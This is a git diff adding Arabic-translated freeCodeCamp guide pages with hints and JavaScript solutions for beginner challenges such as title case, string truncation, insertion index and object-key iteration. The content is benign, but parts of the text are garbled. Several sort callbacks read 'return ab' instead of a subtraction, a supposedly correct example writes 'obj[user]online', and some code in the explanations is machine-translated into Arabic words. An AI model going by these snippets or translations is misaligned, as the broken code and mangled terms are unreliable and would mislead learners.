+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+علينا أن نعيد الجملة مع حالة اللقب. وهذا يعني أن الحرف الأول سيكون دائمًا بالحروف الكبيرة وأن يكون الباقي بأحرف صغيرة.
+
+#### روابط ذات صلة
+
+*   [كائن السلسلة العالمية](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String)
+*   [JS String Prototype ToLowerCase](http://forum.freecodecamp.com/t/javascript-string-prototype-tolowercase/15948)
+*   [JS String Prototype ToUpperCase](http://forum.freecodecamp.com/t/javascript-string-prototype-touppercase/15950)
+*   [JS String Prototype Replace](http://forum.freecodecamp.com/t/javascript-string-prototype-replace/15942)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+*   يجب أن تبدأ بتجزئة السلسلة إلى مجموعة من الكلمات.
+*   انقسام الجملة.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+*   يجب أن تجعل الكلمة صغيرة قبل إنشاء الحرف الأول بأحرف كبيرة.
+*   استخدم طريقة الاستبدال في كل كلمة لتكبير الحرف الأول من كل كلمة.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+*   ستحتاج إلى إنشاء سلسلة جديدة بقطع من السلسلة السابقة ، وفي النهاية دمج كل شيء في سلسلة واحدة مرة أخرى.
+*   في أسلوب الاستبدال ، قم بإعطاء الوسيطة الأولى كموضع الحرف الأول باستخدام charAt. بالنسبة إلى الوسيطة الثانية ، اكتب دالة لإرجاع الحرف المكتوب عليه كبديل.
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `String.prototype.replaceAt = function(index, character) { 
+    return this.substr(0, index) + character + this.substr(index+character.length); 
+ }; 
+ 
+ function titleCase(str) { 
+    var newTitle = str.split(' '); 
+    var updatedTitle = []; 
+    for (var st in newTitle) { 
+        updatedTitle[st] = newTitle[st].toLowerCase().replaceAt(0, newTitle[st].charAt(0).toUpperCase()); 
+    } 
+    return updatedTitle.join(' '); 
+ } 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLjU/8)
+
+### شرح الشفرة:
+
+نقوم بتعديل وظيفة `replaceAt` باستخدام النموذج لتسهيل استخدام البرنامج.
+
+تقسيم السلسلة بمسافات بيضاء ، وإنشاء متغير لتعقب العنوان الذي تم تحديثه. ثم نستخدم حلقة لتحويل تحويل الحرف الأول من الكلمة إلى أحرف كبيرة والباقي إلى أحرف صغيرة. من خلال إنشاء سلسلة متسلسلة تتألف من الكلمة بأكملها بأحرف صغيرة مع استبدال الحرف الأول بحرف كبير.
+
+#### روابط ذات صلة
+
+*   [شبيبة لشرح الحلقات](http://forum.freecodecamp.com/t/javascript-for-loop/14666s-Explained)
+*   [JS String Prototype Split](http://forum.freecodecamp.com/t/javascript-string-prototype-split/15944)
+*   [JS String Prototype Substr](http://forum.freecodecamp.com/t/javascript-string-prototype-substr/15945)
+*   [شبيبة صفيف النموذج](http://forum.freecodecamp.com/t/javascript-array-prototype-join/14292)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":دوار الشمس:") حل الشفرة المتوسطة:
+
+ `function titleCase(str) { 
+  var convertToArray = str.toLowerCase().split(" "); 
+  var result = convertToArray.map(function(val){ 
+      return val.replace(val.charAt(0), val.charAt(0).toUpperCase()); 
+  }); 
+  return result.join(" "); 
+ } 
+ 
+ titleCase("I'm a little tea pot"); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLjU/9)
+
+### شرح الشفرة:
+
+نحن نبذل سلسلة صغيرة بأكملها ومن ثم تحويلها إلى مجموعة. ثم نستخدم وظيفة الخريطة لاستبدال الحرف الصغير بالحروف الكبيرة. وأخيرًا ، نعيد السلسلة باستخدام طريقة `join` .
+
+#### روابط ذات صلة
+
+*   [JS Array Prototype Map](http://forum.freecodecamp.com/t/javascript-array-prototype-map/14294)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") الحل المتقدم للكود:
+
+ `function titleCase(str) { 
+  return str.toLowerCase().replace(/(^|\s)\S/g, (L) => L.toUpperCase()); 
+ } 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLjU/14)
+
+### شرح الشفرة:
+
+يعمل الحل أولاً بتخفيض جميع الأحرف في السلسلة ، ثم يؤدي إلى حرف أول حرف فقط لكل كلمة.
+
+*   أحرف صغيرة السلسلة بأكملها باستخدام `str.toLowerCase()` .
+    
+*   استبدل كل كلمة "أول حرف بأحرف كبيرة باستخدام `.replace` .
+    
+*   ابحث عن الحرف في بداية كل كلمة ، أي مطابقة أي حرف بعد `space` أو مطابقة الحرف الأول من السلسلة بأكملها ، باستخدام النمط التالي.
+    
+*   شرح regex:
+    
+*   البحث عن كل أحرف غير بيضاء `(\S` )
+    
+*   في بداية السلسلة `(^)`
+    
+*   أو بعد أي حرف مسافة بيضاء `(\s)`
+    
+    *   يبحث معدّل `g` لنمط كلمة آخر من هذا القبيل في السلسلة بأكملها ويستبدلها.
+        
+    *   يعمل هذا الحل مع الرموز الوطنية والأحرف البارزة كما هو موضح في الأمثلة التالية  
+        `international characters:` 'бабушка курит трубку' // -> 'Бабушка Курит Трубку'  
+        `accented characters:` 'località àtilacol' // -> 'Località Àtilacol'
+        
+
+#### روابط ذات صلة
+
+*   [شبيبة ريجكس الموارد](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/truncate-a-string/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/truncate-a-string/index.md
new file mode 100644
index 0000000000..670a9f964a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/truncate-a-string/index.md
@@ -0,0 +1,101 @@
+---
+title: Truncate a String
+localeTitle: اقتطاع سلسلة
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+نحتاج إلى تقليل طول السلسلة أو **اقتطاعها** إذا كانت أطول من الطول الأقصى المحدد المحدد وإضافة `...` إلى النهاية. إذا لم يكن طويلاً ، فإننا نحتفظ بها كما هي.
+
+#### روابط ذات صلة
+
+*   [String.prototype.slice ()](https://github.com/FreeCodeCamp/FreeCodeCamp/wiki/JS-String-Prototype-Slice)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+سلاسل غير قابلة للتغيير في JavaScript لذا سنحتاج إلى متغير جديد لتخزين السلسلة المقتطعة.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+ستحتاج إلى استخدام طريقة الشريحة () وتحديد مكان البدء وأين تتوقف.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+لا ننسى أنه عندما نقتسم الكلمة ، يجب علينا أيضًا حساب الطول الذي أضيفه `...`
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `function truncateString(str, num) { 
+  // Clear out that junk in your trunk 
+  if (str.length > num && num > 3) { 
+    return str.slice(0, (num - 3)) + '...'; 
+  } else if (str.length > num && num <= 3) { 
+    return str.slice(0, num) + '...'; 
+  } else { 
+    return str; 
+  } 
+ 
+ } 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLjU/55)
+
+### شرح الشفرة:
+
+*   نبدأ أولاً ببيان بسيط `if` تحديد إحدى النتائج الثلاثة ...
+*   إذا طول سلسلة لدينا هو أكبر من `num` نريد لاقتطاع في، ونقطة اقتطاع لدينا ثلاثة أحرف على الأقل أو أكثر في سلسلة، نعود شريحة من سلسلة لدينا تبدأ من حرف 0، وتنتهي في `num - 3` . ثم نلحق `'...'` بنهاية السلسلة.
+*   ومع ذلك، إذا طول سلسلة لدينا هو أكبر من `num` ولكن `num` ضمن أول ثلاثة أحرف، ونحن لم يكن لديك لحساب النقاط على النحو حرفا. لذلك، نعود لنفس السلسلة على النحو الوارد أعلاه، مع فارق واحد: نقطة النهاية من شريحة لدينا الآن فقط `num` .
+*   وأخيرًا ، إذا لم تكن أي من الحالات المذكورة أعلاه صحيحة ، فهذا يعني أن طول السلسلة أقل من عدد `num` . لذلك ، يمكننا فقط إرجاع السلسلة.
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") الحل المتقدم للكود:
+
+ `function truncateString(str, num) { 
+  if (str.length <= num) { 
+    return str; 
+  } else { 
+    return str.slice(0, num > 3 ? num - 3 : num) + '...'; 
+  } 
+ } 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLjU/54)
+
+### شرح الشفرة:
+
+*   أولاً ، نحتاج إلى جملة if لاختبار ما إذا كان طول السلسلة الكاملة قد تم تمريره حيث أن الوسيطة الأولى تتلاءم بالفعل ضمن حد الحجم الذي تم تمريره كوسيطة ثانية. إذا كان الأمر كذلك ، فيمكننا فقط إرجاع السلسلة التي تم تمريرها.
+    
+    إذا (str.length <= عدد الأسطوانات) عودة str؛
+    
+*   إذا فشل بيان `if` بنا أعلاه ، فإننا ننتقل إلى `else` ، حيث سنقوم بإرجاع "شريحة" من السلسلة. تقوم طريقة الشريحة باستخلاص مقطع من سلسلة وإرجاع سلسلة جديدة. هنا نعبر 0 كنقطة انطلاق لشريحة لدينا. لتحديد نقطة النهاية ، نستخدم مشغل الثلاثي: عدد `num > 3 ? num - 3 : num` . في الثلاثي لدينا، إذا `num` أكبر من 3، ونحن يجب أن عاملا في النقاط الثلاث ليبلغ الطول الإجمالي لدينا، وبالتالي نحن في نهاية شريحة لدينا في `num-3` . إذا كانت قيمة num أقل من أو تساوي 3 ، فإن الشريحة تحصل على متغير نهاية `num` . وأخيرًا ، يتم إلحاق `'...'` بنهاية السلسلة الجديدة الخاصة بنا ويتم إرجاعها.
+    
+    } آخر { return str.slice (0، num> 3 num - 3: num) + '…'؛ }
+    
+*   **ملاحظة** لفهم الكود أعلاه ، تحتاج إلى فهم كيفية عمل مشغل Ternary. وكثيرا ما يستخدم المشغل الثلاثي كاختصار لبيان `if` ويتبع هذا الشكل: `condition ? expr1 : expr2` . إذا تم تقييم `condition` إلى true ، `expr1` تُرجع عامل التشغيل قيمة `expr1` . خلاف ذلك ، تقوم بإرجاع قيمة `expr2` .
+    
+
+#### روابط ذات صلة
+
+*   [شرطي (ثلاثي) المشغل](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Conditional_Operator)
+*   [String.prototype.slice ()](https://github.com/FreeCodeCamp/FreeCodeCamp/wiki/JS-String-Prototype-Slice)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/where-do-i-belong/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/where-do-i-belong/index.md
new file mode 100644
index 0000000000..5cebd8ed07
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/where-do-i-belong/index.md
@@ -0,0 +1,205 @@
+---
+title: Where Do I Belong
+localeTitle: إلى أين أنتمي
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+هذا يمكن أن يكون مشكلة صعبة لفهم. تحتاج إلى العثور على مكان في الصفيف يجب إدراج رقم بواسطة الأمر ، وإرجاع الفهرس حيث يجب أن تذهب.
+
+#### روابط ذات صلة
+
+*   [شبيبة صفيف الفرز](http://forum.freecodecamp.com/t/javascript-array-prototype-sort/14306)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+أول شيء يجب فعله هو ترتيب الصفيف من الأسفل إلى الأعلى ، فقط لجعل الرمز أسهل. هذا هو المكان الذي يأتي فيه النوع ، فهو يحتاج إلى وظيفة رد اتصال حتى تضطر إلى إنشائه.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+بمجرد فرز الصفيف ، قم فقط بالتحقق من الرقم الأول الأكبر وإرجاع الفهرس.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+إذا لم يكن هناك مؤشر لهذا الرقم ، فسيتعين عليك التعامل مع هذه الحالة أيضًا.
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `function getIndexToIns(arr, num) { 
+  arr.sort(function(a, b) { 
+    return a - b; 
+  }); 
+ 
+  for (var a = 0; a < arr.length; a++) { 
+    if (arr[a] >= num) 
+      return a; 
+  } 
+ 
+  return arr.length; 
+ } 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLjU/36)
+
+## شرح الشفرة:
+
+*   أولاً ، أقوم بتصنيف الصفيف باستخدام. `.sort(callbackFuntion)` حسب الأقل إلى الأعلى ، من اليسار إلى اليمين.
+*   ثم أستخدم حلقة for لمقارنة العناصر الموجودة في الصفيف بدءًا من أصغرها. عندما يكون عنصر في الصفيف أكبر من الرقم الذي نقارنه ، فإننا نعيد الفهرس كعدد صحيح.
+
+#### روابط ذات صلة
+
+*   [parseInt ()](http://forum.freecodecamp.com/t/javascript-parseint/14686)
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `function getIndexToIns(arr, num) { 
+  // Find my place in this sorted array. 
+  var times = arr.length; // runs the for loop once for each thing in the array 
+  var count = 0; 
+  for (var i=0;i<times;i++){ 
+    if(num>arr[i]){count++;} } // counts how many array numbers are smaller than num 
+    return count; // the above equals num's position in a sorted array 
+ } 
+ 
+ getIndexToIns([40, 60], 50); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLjU/2547)
+
+## شرح الشفرة:
+
+*   أنا لا فرز مصفوفة إدخال arr
+*   أقوم بحساب عد للفرز كلما كان إدخال num أكبر من رقم إدخال arr.
+*   هذا الرقم يساوي ما هو موضع num في مصفوفة مرتبة.
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+بواسطة [HarinaPana](/u/harinapana)
+
+ `function getIndexToIns(arr, num) { 
+ 
+  arr.sort(function(a, b) { 
+  return a - b; 
+  }); 
+ 
+  var i = 0; 
+  while (num > arr[i]) { 
+  i++; 
+  } 
+ 
+  return i; 
+ } 
+ 
+ getIndexToIns([40, 60], 50); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLjU/4135)
+
+## شرح الشفرة:
+
+*   فرز مجموعة موجودة.
+*   تكرار خلال مجموعة أثناء التحقق إذا _الأسطوانات_ هي الأكبر.
+*   ستتوقف الحلقة عندما لا تكون _num_ أكبر من _i_ وإرجاع العنصر الأخير محددًا.
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":دوار الشمس:") حل الشفرة المتوسطة:
+
+بواسطة [faustodc](/u/faustodc)
+
+ `function getIndexToIns(arr, num) { 
+  arr.push(num); 
+  arr.sort(function(a, b){return ab}); 
+  return arr.indexOf(num); 
+ } 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/EB10/1)
+
+## شرح الشفرة:
+
+*   أولاً ، نضيف عدد `num` إلى الصفيف باستخدام `push()` الذي يضيفه كعنصر آخر في الصفيف.
+*   ثم نستخدم `sort()` مع وظيفة `function(a, b){return ab}` رد الاتصال `function(a, b){return ab}` لفرز الأرقام بترتيب تصاعدي.
+*   وأخيرًا ، نعيد عنوان أو فهرس `num` في الصفيف باستخدام الدالة `indexOf()` .
+
+#### روابط ذات صلة
+
+*   [إدفع()](http://forum.freecodecamp.com/t/javascript-array-prototype-push/14298)
+*   [فرز()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort)
+*   [مؤشر()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":دوار الشمس:") حل الشفرة المتوسطة:
+
+**باستخدام `.findIndex()`**
+
+ `function getIndexToIns(arr, num) { 
+  // sort and find right index 
+  var index = arr.sort((curr, next) => curr > next) 
+    .findIndex((currNum)=> num <= currNum); 
+  // Returns proper answer 
+  return index === -1 ? arr.length : index; 
+ } 
+ 
+ getIndexToIns([40, 60], 500); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLjU/63)
+
+## شرح الشفرة:
+
+*   أولاً ، قم بفرز الصفيف بترتيب تصاعدي ، ويتم ذلك حاليًا باستخدام وظائف الصفيف للحد الأدنى من المساحة.
+*   بمجرد فرز المصفوفة ، نقوم مباشرة بتطبيق `.findIndex()` حيث سنقوم بمقارنة كل عنصر في المصفوفة حتى نجد `num <= currNum` حيث أن الرقم الذي نريد إدراجه هو أقل أو يساوي الرقم الحالي رقم في التكرار.
+*   ثم نستخدم العمليات الثلاثية للتحقق مما إذا حصلنا على فهرس تم إرجاعه أو `-1` . نحصل فقط على `-1` عندما لم يتم العثور على المعنى يعني عندما نحصل على خطأ بالنسبة لجميع العناصر في الصفيف ، وفي هذه الحالة ، يعني ذلك أنه يجب إدراج `num` في نهاية القائمة ومن ثمَّ ، لماذا نستخدم `arr.length` .
+
+#### روابط ذات صلة
+
+*   [Array.findIndex ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/findIndex)
+*   [وظائف السهم](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions)
+*   [مشغل ثلاثي](http://forum.freecodecamp.com/t/javascript-ternary-operator/15973)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") الحل المتقدم للكود:
+
+بواسطة [nivrith](/u/nivrith)
+
+ `function getIndexToIns(arr, num) { 
+ 
+ return arr.concat(num).sort((a,b) => ab).indexOf(num); 
+ 
+ } 
+ 
+ getIndexToIns([1,3,4],2); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/IUJE/0)
+
+## شرح الشفرة:
+
+*   نستخدم تسلسل الأسلوب لاستدعاء طريقة واحدة تلو الأخرى لحل المشكلة في سطر واحد. أولاً نقوم بدمج `arr` و `num` باستدعاء طريقة arr.concat (num)
+*   ثم نستخدم `sort()` مع **وظيفة سهم** الاستعادة `(a, b) => return ab` لفرز الأرقام بترتيب تصاعدي
+*   وأخيرًا ، نعيد عنوان أو فهرس `num` في الصفيف باستخدام طريقة `indexOf()`
+
+#### روابط ذات صلة
+
+*   [طريقة تسلسل في JavaScript](https://schier.co/blog/2013/11/14/method-chaining-in-javascript.html)
+*   [CONCAT ()](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/concat?v=example)
+*   [وظائف السهم](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Functions/Arrow_functions)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/-iterate-through-the-keys-of-an-object-with-a-for...in-statement/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/-iterate-through-the-keys-of-an-object-with-a-for...in-statement/index.md
new file mode 100644
index 0000000000..85bd03c413
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/-iterate-through-the-keys-of-an-object-with-a-for...in-statement/index.md
@@ -0,0 +1,65 @@
+---
+title:  Iterate Through the Keys of an Object with a for...in Statement
+localeTitle:  يتكرر عبر مفاتيح كائن مع لـ ... في بيان
+---
+## يتكرر عبر مفاتيح كائن مع لـ ... في بيان
+
+طريقة:
+
+*   ملاحظة: ستتسبب `dot-notation` حدوث أخطاء في هذا التحدي.
+*   يجب استخدام الترميز `[square-bracket]` لاستدعاء اسم خاصية متغير.
+*   التعليمة البرمجية التالية لن تعمل.
+
+### مثال 1:
+
+ `for (let user in obj) { 
+    if(obj.user.online === true) { 
+      //code 
+    } 
+  } 
+` 
+
+*   يوضح المثال 2 كيفية استخدام الترميز `[square-bracket]` في تنفيذ الشفرة.
+
+### المثال 2:
+
+ `for (let user in obj) { 
+    if(obj[user]online === true) { 
+      //code 
+    } 
+  } 
+` 
+
+### حل:
+
+ `let users = { 
+  Alan: { 
+    age: 27, 
+    online: false 
+  }, 
+  Jeff: { 
+    age: 32, 
+    online: true 
+  }, 
+  Sarah: { 
+    age: 48, 
+    online: false 
+  }, 
+  Ryan: { 
+    age: 19, 
+    online: true 
+  } 
+ }; 
+ function countOnline(obj) { 
+  // change code below this line 
+  let result = 0; 
+  for (let user in obj) { 
+    if(obj[user].online === true) { 
+      result++; 
+    } 
+  } 
+  return result; 
+  // change code above this line 
+ } 
+ console.log(countOnline(users)); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/access-an-arrays-contents-using-bracket-notation/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/access-an-arrays-contents-using-bracket-notation/index.md
new file mode 100644
index 0000000000..ad37ffd2c5
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-data-structures/access-an-arrays-contents-using-bracket-notation/index.md
@@ -0,0 +1,12 @@
+---
+title: Access an Array's Contents Using Bracket Notation
+localeTitle: الوصول إلى محتويات صفيف باستخدام تدرج قوس
+---
